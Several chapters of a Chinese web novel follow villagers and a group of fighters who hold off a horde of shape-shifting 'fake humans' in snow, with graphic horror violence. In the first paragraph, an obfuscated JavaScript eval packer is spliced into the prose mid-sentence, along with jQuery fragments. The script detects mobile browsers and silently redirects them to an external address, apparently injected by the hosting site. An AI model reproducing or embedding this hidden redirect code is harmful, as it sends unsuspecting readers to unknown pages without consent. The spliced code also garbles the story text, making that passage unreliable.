而仇远的表情,活像是中二少年的“青龙□□”,被老师强行改为“青龙学习小组”一样失望。 夜晚的酒馆并不安全,总有零星几个伪人能突破围墙的防守,摸索到酒馆的四周,这些伪人,就是巡逻组要击杀的对象。 齐荦荦翻着监控画面,成功在某一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101153|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落发现了伪人后,在屏幕上点着什么,监控另一边的伪人就倒了下去。 下一秒,仇远架起了枪,将枪口瞄准不远处的城墙门口。 “最近伪人怎么这么多。”他眉头蹙了一下,毫不在意地清理掉。 “人多了会吸引伪人。”怀文雪说,“它们像是有什么寻找机制,总能在荒郊野岭找到人类。” 所以单人会被成群的伪人耗死,而集体会被伪人入侵玩狼人杀,无论怎么样,都逃脱不了这帮奇怪的畸形生物。 “演讲似乎结束了。”怀文雪看着村民们鱼贯而出,片刻后就散了个干净。 紧接着,齐荦荦将设备一放,就跳下了房子,直奔着酒馆而去。 酒馆的灯没亮,月光顺着窗户,在地面上覆盖了一层帷幔。 宁筠就坐在酒馆的中间,披散着头发,背对众人,比鬼还吓人。 仇远被吓了一跳,问:“怎么了?” 宁筠将吧台上的枪支一推,闷闷不乐地回答着:“村民们说更想种地。” “打伪人不比种地好吗?” 说完这句话后,宁筠突兀地转回了头,一双黑色瞳孔幽幽地注视着仇远。 “你说,种地和打伪人,你选择哪个?” 或许是光线的问题,在这样暗淡的光线里,仇远心中隐隐觉得,这眼眸像是狩猎者注视着猎物,并期待着猎物的举动一样。 危险。 这是仇远这么多天的实战里,形成的某种直觉。 下一刻,灯光被人打开,这种危机感就莫名其妙的消失了。与此同时,宁筠收回视线,声音愈发闷。 “你又没种过地,肯定选择打伪人。” 仇远松了口气,伸出手向背后一探,后背不知何时湿了一大片,此时紧贴着皮肤,又显得黏腻闷热。 不是错觉,他是真的感觉到了危险。 “这么大的事情,怎么可能一下就决定。”齐荦荦安慰着她,“给村民一点时间。” 这一点时间,逐渐变成了一周。 空中飘洒了细小的绒毛,颗粒在阳光之下熠熠发光,形成了一片雪白的景象。 这种名为雪的东西让仇远十分兴奋。 只见仇远躺在地上不够,又翻着身子,在雪地里四处打滚,弄得满身都是雪,少部分接触皮肤融化,冻得仇远直喊冷。 不忍直视。 酒城据酒馆1000多公里,没见过雪也是十分正常的,但这种兴奋在宁筠几人眼中,就显得有点傻。 不一会儿,远处传来雪球的破空声,不偏不倚地打在了齐荦荦的身上,刚做好的绒毛大衣挂了一层水滴,然后又凝结成了霜。 齐荦荦攥了一把衣袖,目光逐渐有些不大对劲了。 “你们不玩打雪仗吗?”仇远一边问着,一边又团了一个,继续砸向齐荦荦。 他不是不想砸其他人,主要是宁筠那天的眼神,依然让他不自觉颤栗,怀文雪又是他的师父,哪有砸师父的道理,于是看起来无害的齐荦荦就成了他的第一个目标。 齐荦荦被砸了一身雪,也不生气,认认真真挑了一块石头,在地面上滚成了一团雪,冲着仇远身上砸去。 就听远处“嗷”了一声后,没了声息。 39. 伪人潮 “不会死了吧……”怀文雪摩挲着下巴,一步一步向前挪着。 初冬的积雪不多,踩上去也只有一层薄薄的雪皮,众人深深浅浅踩了一层,伴随着咯吱咯吱的声音,便从酒馆转移到了平原。 雪淅淅沥沥地下了一段时间后就停了,不少村民就趁着雪,颇为好奇地体会了一番。听着踩雪的咯吱声,抓起一团雪就砸向其他同龄的人,引得一阵喧闹。 陈叔的家离平原最近,平日的他喜欢坐在院子里,磕着烟袋看热闹,也喜欢参与热闹。 随着宁筠几人的靠近,陈叔一边看着仇远,一边对宁筠挤着眼睛。 可惜齐荦荦并没有领悟到陈叔的意思,但也有了几分防备,就听到另一边响起破空声,她下意识地侧身闪避。 雪球就擦着单马尾的发丝而过,落入了远处的树上,惊得几只零散的鸟起飞,在空中传来压抑的叫声。 那边的年轻人笑着,招呼着众人:“一起打雪仗吗?” 眼见齐荦荦弯下身子找什么东西,宁筠为了年轻人的生命着想,赶忙阻止了她。 “先看看仇远有没有活着吧。” 齐荦荦“哦”了一声,“你是不是觉得我会扔石头?” 宁筠不敢说话,只是一味地扒拉着仇远。 仇远的脸埋在雪下,被冻得通红,眼睛紧闭,一边抖着唇瓣,一边虚弱地说:“太可怕了,我不就竖了个中指吗……” 宁筠:“……” 她把仇远摁回了原位,顺手把雪偷偷塞到了仇远的脖颈里。 这是北方人打雪仗,对于躺在地上的人,最友好的礼仪。 她刚走远,就听仇远又“嗷”了一声,怒吼着:“谁往我脖子里灌雪,你出来,我不打死你!” 紧接着,身后又传来了一声嚎叫:“我错了!齐姐,别打了!” 宁筠的眼睛弯了一下。 她转过头来问着陈叔,问:“你们想好了吗?” 指的是领枪接受训练的事。 显然陈叔对于酒城的事情还心有余悸,他磕了磕烟袋,捏着烟的手有些发抖。 “我儿子就在酒城当过兵。”陈叔笑了一下,说:“你也别嫌弃我怂,我就剩下这么一个女儿,不太希望让她去当兵。” 在陈叔的视线里,陈晓正用帆布格挡着雪球,眉眼弯弯,脸上满是不谙世事的单纯。 其他人或多或少的都有这个想法,宁筠也不打算勉强,只是点了下头。 “如果改变主意了,可以随时找我。” 陈叔笑着应了一声。 “啪嗒、啪嗒。” 不知是众人的笑声,还是一些别的原因,松树上的薄雪就顺着树枝滑落下来,像是滑落了一块软绵绵的云朵,砸到了宁筠的脚边。 她望着松树,就看到树枝的枝叶上,几乎微不可闻的颤动着。 这种细微的变化逃不过动物的感知,她突然想到了刚刚惊起的鸟,这些鸟盘旋了一阵,却又没落到这些树下。 像是忌惮什么东西。 宁筠顺势跑到了视野开阔的城墙顶部,用望远镜眺望着远处。 在光秃秃的枝干与雪的交际线处,隐隐约约攒动着什么,形成了一段漆黑的天际线。 “宁筠——” 墙下有人叫着宁筠,她稍稍偏了下头,就看到齐荦荦正往城墙上去,一边走一边叫她。 “你怎么跑到这里来了?” 宁筠将远处指给她看。齐荦荦顺着宁筠指的方向,拿起了望远镜,看了几秒后,指尖不由自主地捏紧了镜筒。 “是上次出现过的伪人潮。”齐荦荦面色凝重。 “上次出现?” 齐荦荦说:“就你走了之后的事情,恰好来了一批猎人,酒馆才能活了下来。” 她一直没提这件事,宁筠也从未发现过任何不对。 怪不得齐荦荦有了这么大的变化,想来这个伪人潮应该是主要原因。 “主要是伪人们集结到一起,对人类的栖息地进行攻击,其中有一个命名为‘台风’的伪人潮最危险——它们要来了!” 齐荦荦惊呼一声,然后抓紧下了楼,道:“你不知道它们的威力,我们一起去叫村民们躲进庇护所,光凭我们几个人打不过的。” 在临走的最后一刻,宁筠试着用望远镜再次看了一眼。 伪人们的前进速度极快,只是说了几句话的功夫,原本只能看到人头攒头的影子,现在已经可以清晰地看到脸。 五官错位导致的极为扭曲的笑容,似乎在看到了城墙上的几个人后,笑容就变得更加肆意。 宁筠从城墙上撤离,踩着几乎快融化的积雪,躲到了齐荦荦口中所说的“庇护所”。 其实并不算是个庇护所,只是山脚下的一个坑洞,上面留一个木门,门里有一张桌子,还有几盏仅供照亮的明灯。 看起来像是什么人的研究室,桌子上还有几份散落的纸,不过时间久远,已经看不清上面的内容了。 空间本就不大,村民们集聚在这里之后,人挤人般,将保护在最外面的宁筠挤到了门口。 这个地方真的能不被发现吗?又或者说,这扇小小的木门,能抵御伪人的进攻吗? 但伪人们并不给众人思考的机会,没过多久,门缝外传来了阵阵的踩踏声,桌面上的纸张就顺着声音震颤。 来了。 宁筠在人群的最前端,顺着微弱的光线看过去,一张张扭曲奇怪的脸被门缝切割,只留下了更为怪物的另一半。 一阵尖锐笑声突兀想起,划破了静谧的空气,从门缝的左侧,一直笑到门右侧,又继续从右侧笑到了左侧。 其中一个伪人像是察觉到了什么,凸起的瞳孔慢慢移动,就顺着眼眶移动到左边的太阳穴上,呼噜噜地乱转。 他转动眼球之后,又像是不满意一般,上半身继续前倾,下本身却固定在原地,然后“啪”的一下,整张脸怼到了门缝。 几乎与宁筠脸对脸。 还未结束,他继续向内挤着,那咕噜噜的眼球被门缝挤到了门内,落在地上,仍不停止转动,漆黑的瞳孔里倒映着所有人的倒影,最后变成了灰色。 “找到 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而他们这群人堆到一起,别说什么躲藏的位置,能全都进去,都要夸一句避难所能装。 而人群更不能分散了,万一被伪人们摸进了屋子里,其他屋子的人又不知道这人是死是活,连失踪了也无处去寻。 但这句话是万万不能说的,要是被村民发现了什么,又会寒了众人的心。 突兀地一声响起,木门落了地,无数细小的光线从缝隙中泄出,照亮了众人惊惧的眼。 无数扭曲的血淋淋的手,弯曲着、颤抖着对着众人袭来,其中有不少手,在伸着伸着就换了形态。 细密的皱纹顺着指纹悄然生长,布满了整个手掌,有人观察细致,就会发现这些手……在逐渐变成他们的模样。 这些伪人在模仿他们。 就在这一瞬间,无数颗子弹齐齐飞出,伴随着沉重的枪声,激起了一片尘土。 伪人们的身上溅起了一片片血花,软趴趴地倒了下去,后面的伪人扑了上来,填补了空缺的位置。 后面的村民们一颗心跳到了嗓子眼里。因为人太多,伪人们与他们的距离只有半个手掌那么大,只要努力一下,就可以抓到他们,然后将他们拖到伪人群之中。 有人崩溃了,尖叫着,拿着手边的东西砸着伪人,然后拼命地向内拱去,挤着挤着,竟然真挤出了半米的空间。 齐荦荦看了眼后面“宽敞”的空间,笑了几声:“这下足够了。” 几个人边打边退,分散到四边,中央留出了一堆伪人尸体,形成了一个防线。 伪人们被边打边退,防线从屋子中央逐渐过渡到门口,隐隐有着向外蔓延的趋势。 就在这时,人群之中突然大喊了一声,“你个伪人,我跟你拼了!” 在宁筠的余光之中,人群之中站着两个一模一样的陈叔,手中握着武器,互相扭打着。 什么时候过去的? 40. 尸墙 尽管陈叔竭力证明着自己的真实性,人群之中仍有一部分人持着怀疑态度。 ——伪人模仿的太像了,两人的行为举止几乎是一个模子里刻出来的。 陈叔脸色苍白,嗫嚅着:“我是真的,应该是真的……我还有个女儿,小晓一定能认出我来。” 另一个陈叔同样惊慌失措:“小晓,你在哪,你一定不会认错我吧?” 很快,小晓被人群夹在了中间,被无数双手推了出去。 她惊慌着脸,眼里含着泪水,看见两个一模一样的父亲之后,就变成了哽咽,就说不出来话。 真的认不出来。 无论是她熟悉的布满皱纹的脸,还是父亲无意识的,喜欢揪着衣兜的小动作,两个人几乎都一模一样。 一直生活在这个世界的小晓,从未见过能模仿得如此惟妙惟肖的伪人。 在陈叔期盼的眼神中,小晓摇了摇头,说:“我……认不出来。” 说不失望是假的。 在小晓说完这句话后,两个陈叔同时露出了苦涩又无奈的笑容,异口同声说:“没事的小晓,连我自己都……” 又同时停顿了一下,两双眼睛相互对着,再一次同时开口。 “那是我的女儿!” 这一句话像是点燃了什么。 两个陈叔怒火对视,其中一人随手掏出了什么,大喊一声:“你个伪人,我跟你拼了!” 另一个人不甘示弱,顺手在旁边拿着什么东西,两个人就扭打成了一团。 这下更难以分辨了。 众人愁眉苦脸,有几个人想要伸出手,在碰到对方的那一刻又收了回来。谁也不向自己拉的是伪人。 万一被模仿了怎么办? 这般想着,越来越多的人变得心安理得,全都收回了手,甚至还给两人的打架腾了个地方。 在宁筠注意到这一切时,就已经来不及阻止了。 那位假陈叔跨在真陈叔的身上,重重地扬起了手,指尖上捏着尖锐的钢笔尖,猛地向下。 似乎有什么东西落下,发出了黏腻的“滴答”一声,温热的,顺着鼻尖滑落,直到没入发丝之中。 难闻的腥气蔓延。 陈叔眨了几下眼睛才发觉,笔尖已经在半空中停了好一会儿,他伸出手一推,上面的家伙就摇摇晃晃的,“噗通”一声倒在了地上。 看起来已经死了很久了,那张脸也逐渐模糊,变成了他们都不认识的模样。 陈叔松了口气,一转头,就看到身后的小晓浑身发抖,身上涂满了深色的血,手中握着一把匕首,在看清陈叔的模样后,艰难地扬起了一抹笑容。 “爸……我是不是,扎对了?” 陈叔下意识把女儿抱在了怀中,声音沙哑:“你做的很棒,是爸爸妈妈的骄傲。” 小晓回抱了一下,开始得寸进尺:“那我能不能去学枪?” “能。” “那我能不能去帮忙?” “你……去吧。” 陈叔无奈地叹了口气,“注意点,别受伤。” 有了这句话的保证,小晓就像是一往无前般,突破了宁筠给他们准备好的防线。 这段勇气在看到成堆的尸山后打了个折扣。 难闻的气味翻涌,仅仅是死了几分钟,尸体上就开始渗出尸水,像是融化的巧克力,一点点蔓延至小晓的脚下。 保守估计,这里至少躺着几十个伪人。 “呕……”勇气散了一半的小晓,没忍住呕了一声。 这一声惊动了离她最近的仇远。 “你在这里干嘛?子弹无眼,快回去。” 仇远正捏着弹夹,给武器换着子弹,听到了声音,头也不抬地说了一句。 小晓剩下的勇气,就被这句话散了个干干净净。 她环视了一圈,发现四个人手中握着枪,两个人一组,当一组进行换弹时,另一组就交替清理剩下的伪人。 哦,她没有枪,也没法加入他们的分配。 小晓垂着眼,手中握着的刀突然滑在了地上,她蹲下身来,在黑暗的地面上摸索着。 地面上不知道是浓稠的灰还是别的东西,在摸到冰冷的刀身时,那种黏腻的手感就附着在了她的手上,她拍开,却发现是个几乎要融化的皮肤。 她望向尸山,强忍着恶心感,将暴露在外的骨头抽了出来,没了骨头支撑的皮肤融化得更快了。 小晓突然有了想法。 “我能帮你们处理掉尸体。” 她用力地搬动着尸体,那堆不知名的东西就顺着骨骼滑落,发出了“吧唧”的声音。 仇远不耐烦地回头,却在看到的第一眼愣了一下。 小晓捂着鼻子,将上面的骨头拉扯出来,失去了骨头支撑的皮肤迅速软化,最终化成粘液渗入了地下。 仇远咽了下口水,指着上面的东西说:“这是怎么回事?” “不太清楚。”小晓回头看着看了一眼,没忍住又“呕”了一声,说:“我看他们在融化,就顺手试了试。” 没想到这么一试,居然让她发现了个特点。 成堆的尸体不仅会阻挡她们的视线,也容易让一些奇怪的东西浑水摸鱼。 这时需要一个“游离人”来帮助她们寻找漏网之鱼。 小晓刚想说些什么,就听到另一边的宁筠说:“时间到了,换人。” 这句话说完后,旁边的人几乎是一瞬间就进入了状态。这种感觉很奇妙,她距离仇远只有十几厘米,却听不到对方的呼吸声,也看不到对方眼睛眨动的频率。 像是个专注的机器人。 直到她的肩膀被人拍了一下,她才惊讶的发现,不知何时,她的呼吸也不自觉地放了轻,生怕打扰到对方。 “你在这里干什么?” 一个稍显温柔的女声,但却让所有人都无法忽略。 小晓回了神,脸色逐渐染成了一抹粉色。 “我想帮忙清理尸体,寻找里面的漏网之鱼。” 宁筠换着子弹,闻言点了下头,说:“可以,谢谢你。” 这说明同意了她的帮忙。 小晓的嘴角向上勾起,眼睛炯炯有神,铿镪顿挫地说了一声:“收到!” 也不再嫌弃味道,活像是打了鸡血,勤勤恳恳地搬起了骨头。 宁筠上完子弹,一抬头,就看到小晓连拉带扯,拽出了一大堆的伪人尸体。 其中有几个抽动着手指,眼皮翻飞,显然还没死透。 竟然还真的让她找出了漏网之鱼。 小晓亮出了匕首,一步一步地,向着伪人袭去。 “宁 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显然大家低估了伪人们的数量,也高估了避难所的质量。 伪人们似乎意识到了她们的局促,进攻的速度骤然加快,但似乎暴露出了自己的智商,无数个伪人卡在洞口,被还未融化的尸体堵住了道路。 “我怕他们进来,就实现留了一批尸体,堵住了门口,也不知道能堵多久……”小晓挠了下头,不好意思地说。 几个人太忙了,竟然没注意到,小晓究竟是什么时候堆积出来的。 怀文雪对她道了声谢,又对着众人说:“那我们现在怎么办?” 凉拌一下,再倒个酱油调味料什么的,或许能让伪人们入口时更丝滑一些,没准得了伪人大老爷善心,一口就一命呜呼了。 宁筠还有一个更不敢说的话——如果能让她吃掉的话,或许会死的比较舒服一些,相对于被伪人们活吞的话。 她垂下眼,看着黏腻的尸水,忽然有了一个想法。 “趁着它们的血液没留干,涂在身上,我们浑水摸鱼混出去。” 她这么说着,率先打了个头,抓起了一具还算新鲜的尸体,将血液涂抹在自己的身上。 其他人没想到还可以这样做,纷纷按照宁筠所说的,挑选着尸体。 有人将这件事告诉了村民,即使害怕,也不得不主动上前挑选,为自己保一条小命。 大家不停地拆卸着“城墙”,像是在玩层层叠,不想让城墙倒塌,又必须让城墙保持着一定的稳固性。 有些人的运气比较好,刚拆下来一具尸体,就成功和伪人面对面,跟盲盒面基一样,又刺激又惊喜。 临时码的尸体并没有多牢固,一方面是外面的伪人鼓足了力气向内,另一方面还有“内鬼”,于是这城墙就哆哆嗦嗦的,在最后一个人拆掉了“积木”后,这墙就幽幽地,隐隐有着向内倒塌的趋势。 时间不多了。 宁筠并不需要涂抹什么,只是象征性地涂了一层,就靠着墙壁,时不时扶着尸墙,安静地看着众人涂抹。 没过多久,尸墙大概是完成了它的宿命,就听粘液互相摩擦的声音,然后倒塌落下。 外面的天已经暗了。 41. 伪装 一拥而上的伪人们,很快涌进了避难所。 霎时间,周围挤满了歪头的、短肢的、五官扭曲的、甚至是四肢错位的……人挤着人,人擦着人,一眼望去皆是身有怪异的伪人们。 众人被人流冲散,都大气不敢喘,一时间倒是有些分不清,到底是他们本就是伪人,还是混迹在伪人堆里的人类。 好在伪人们只是嗅了嗅,在闻到众人身上的血腥味,还颇为人性化地皱了眉头,嫌弃地将头撇到一边。 倒是没听到惨叫声,看来是成功了。 宁筠放下心来,开始浑水摸鱼。 她本就是伪人,自然也不需要遮掩,身上本就不多的血被蹭掉后,就愈发大胆起来,直接探着身子向着洞口内,寻找其他村民的踪迹。 人太多,从洞口到洞内也挤得不行,宁筠走了两步,就被伪人们挤回去三步,走了半天,仍在原地踏步。 伪人更灵敏的鼻子,也在此刻失去了作用,血腥味一直萦绕在鼻翼之间,根本无法判断村民们的位置。 而且与她预想不同的是,这帮伪人们似乎会交流。 “你……变了,形态?” 形态大概指的是模样,也就是所谓的外表。 另一个伪人接了话,“好看?我喜欢他。凝视……来的。” 这句话的意思是,伪人喜欢另一位人类的皮囊,于是跟踪了很久,在某天找到了机会,成功模仿了皮囊。 至于如何模仿,宁筠不是很想细想。 另两位伪人越说越欢,逐渐跑到了“如何保留这层皮囊”、“可以忍几天不吃东西”等等,宁筠强忍着想听的心,继续办正事。 正当宁筠打算换一个办法时,肩膀突然间被什么东西扯了一下,她回头,却见原本怎么也找不到的村民,不知何时出现在了她的身后,正拉着她,向外走去。 “嘘。”拉着她的人悄声说,“他们让我找您,护送您出去。” 倒也不用…… 但看到那人的坚持,宁筠又什么都没说。她怕声音引起其他伪人的注意,四处看了看,发现没人注意到自己这边后,又稍稍松了口气。 随后她点了下头,任由对方拉扯着她,直至鼻尖上的血腥气味更重,然后才顺着人流,一点一点向外挤着。 齐荦荦几个人也在这里,仅距她几步远,都被人群夹着,丝毫却没有分散,像是被一个包围圈保护在内。 宁筠一抬头,恍惚之中看到了几个熟悉的面孔,这才意识到,外面的一圈,满满的都是村民。 怀文雪凑了过来,悄声说:“你这些村民还不错,自愿组成了一道防护圈,说什么也要把你安全送出去。” 宁筠:“倒也不用,我能……” 话音未落,就被齐荦荦打断,说:“偶尔也要让村民们……”她示意着宁筠向外看。 除了一身正气,目光坚毅的村民之外,仍有不少目含恐惧的村民。他们迈着僵硬的步伐,连唇瓣都在发颤,却在仇远要求换人时,坚定地摇了摇头。 似乎在说什么“我能行”、“一定能坚持住”之类的话,剩下的宁筠没听清,但能见到,那人的身体似乎没那么发抖了。 逆着人流的路并不好走,随没有伪人来找麻烦,但背后总有几个伪人跟随,像是意识到了什么。 大概是看到了空白的场地,众人的心情没那么紧绷,隐隐有人松了口气,结果下一秒…… “砰。” 声音不大,但落在这□□流不多的伪人身上,就显得有些明显了。 不知是被下达了什么命令,那声音突兀诡异,却没有一个人回头,反倒是伪人的亲戚——宁筠,好奇地回头看了几眼。 就在队伍的末端,有村民被伪人拖进了人潮中,身躯四分五裂,便有更多的伪人一拥而上,直到再也看不到那人。 有人忍不住啜泣了一声,极为短促,剩下一半的声音被手捂了回去,压在了喉咙里。 很快,这种现象不再是个例,有越来越多的伪人们意识到了不对劲。或者沉默地跟在队伍后面,浑浊的视线眨也不眨,盯着村民们,或者有一些聪明的,随意拖着几个人,就下了口。 剩下的伪人们不会辨别,别人下口,那么它就一定要尝尝味道,争取喝口汤。 如果拖得是人类,周边享用的一群伪人就变了模样,若是伪人,伪人们的皮囊就会枯萎。 很快,外面一圈的村民都快被拖干净了。 这种事情的发生,让仇远红了眼。作为一个刚有保护能力的小孩,看到了别人付出生命,自然是万般不愿意的。 “你们别保护我,我能带你们冲出去!”仇远低吼着,试图推开村民们的防护圈。 但十多岁的孩子,力气总是不如大人,即使他铁了心要冲出去,仍被边上的村民们挡了回去。 不仅如此,周围有伪人默默把眼球咕噜噜转了回来,表面上头没转动,实际上眼球偏移了眼眶不少。 如果不是隔着好几个人,宁筠觉得它甚至想把仇远拖出来,试试运气。 宁筠叫住了仇远,说:“别动,你被盯上了。” 仇远身体一僵,手握成了拳头,却没再乱动,让边上的村民松了一口气。 众人前进的速度虽慢,但也靠近了外圈,即将要冲破伪人堆的时候,有人大喊了一声:“圈!人!” 说话的语气断断续续且靠后,像是伪人潮的中心发出来的。 是接受了村民记忆的伪人。 眼见出了圈,村民们便不再保持沉默,纷纷大喊了一声:“快跑!”就有人快速地向前,冲破了还未来得及包围的伪人圈。 有一个人开头,便有了两个、三个……宁筠混在了人群靠后的位置,一拳一个小朋友,尽可能让逃出来的人更多。 但人实在是太多、太杂,伪人们的反应也堪称迅速,宁筠拉着最后一个村民的手,眼睁睁地看着他被伪人们淹没,然后…… 宁筠只拉出来一个断掉的手臂。 上面流淌着新鲜的血液,根根手指紧握着宁筠的手,直到断掉也没放开。 “啊!!救我,快救救我啊!” “我都要出去了,就差一点!谁来救救我?!” “别吃我……别吃我……求求你!” “啪嗒” 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“有人!”宋老师大喊了一声,就拉着众人向后退去,直到退出一个安全距离来。 那人穿着与村民们完全不同,也不是众人见过的款式,几乎可以肯定,那人就是一个伪人。 但不同的是,它并没有攻击人的意思,也没有任何的畸形,浑身上下堪称完美。 它睁着黑黝黝的大眼睛,很轻地说了一声:“父亲?” 在座的各位没出声,也不知道它又看到了谁,突然间发出了咯咯的笑声,直直扑向了宋老师。 就在扑到宋老师的前一刻,它的身体突然停顿了一下,歪着脑袋,像是不太理解现在的现状:“父亲,您……” “为什么要捅我?” 带着天真无邪的语气,却让宋老师激灵了一下,手中的刀拔出来,又重重地捅了下去。 “谁是你父亲?!你个伪人。”他咬牙切齿地说,手中的动作没停。 直到伪人的身体血肉模糊,有人好似如梦初醒般,拉着宋老师的身体,将他脱离了实验室的范围。 “没事的,它只是个伪人,说不定记忆混乱了。”有人这样安慰着它。 宋老师滑在地上,劫后余生地喘息了几口气,只是看着宁筠几人,匆匆忙忙将最新研究的弹药搬到了门口。 几个人就开始填装起了弹药。 伪人们的速度似乎并不快,宁筠几人填充好了弹药,隔着玻璃遥遥一看,伪人们大多拥挤在半山腰下,少半部分下了山,跟随在众人的身后。 数量不多,倒也是好事。 村民们爬上了酒馆的房顶,齐荦荦找到了当时遗落的摄像头控制权,点进了屏幕,片刻后抿着唇说:“摄像头的子弹用完了。” 宁筠看着道路上随处可见的尸体,并没有什么意外。 领走前,她们给摄像头设置了自动追击功能,分辨不属于酒馆的村民,然后进行攻击。子弹打完也是正常的事。 她将子弹上了膛,对准第一个到来的伪人,一击命中。 “死守酒馆。”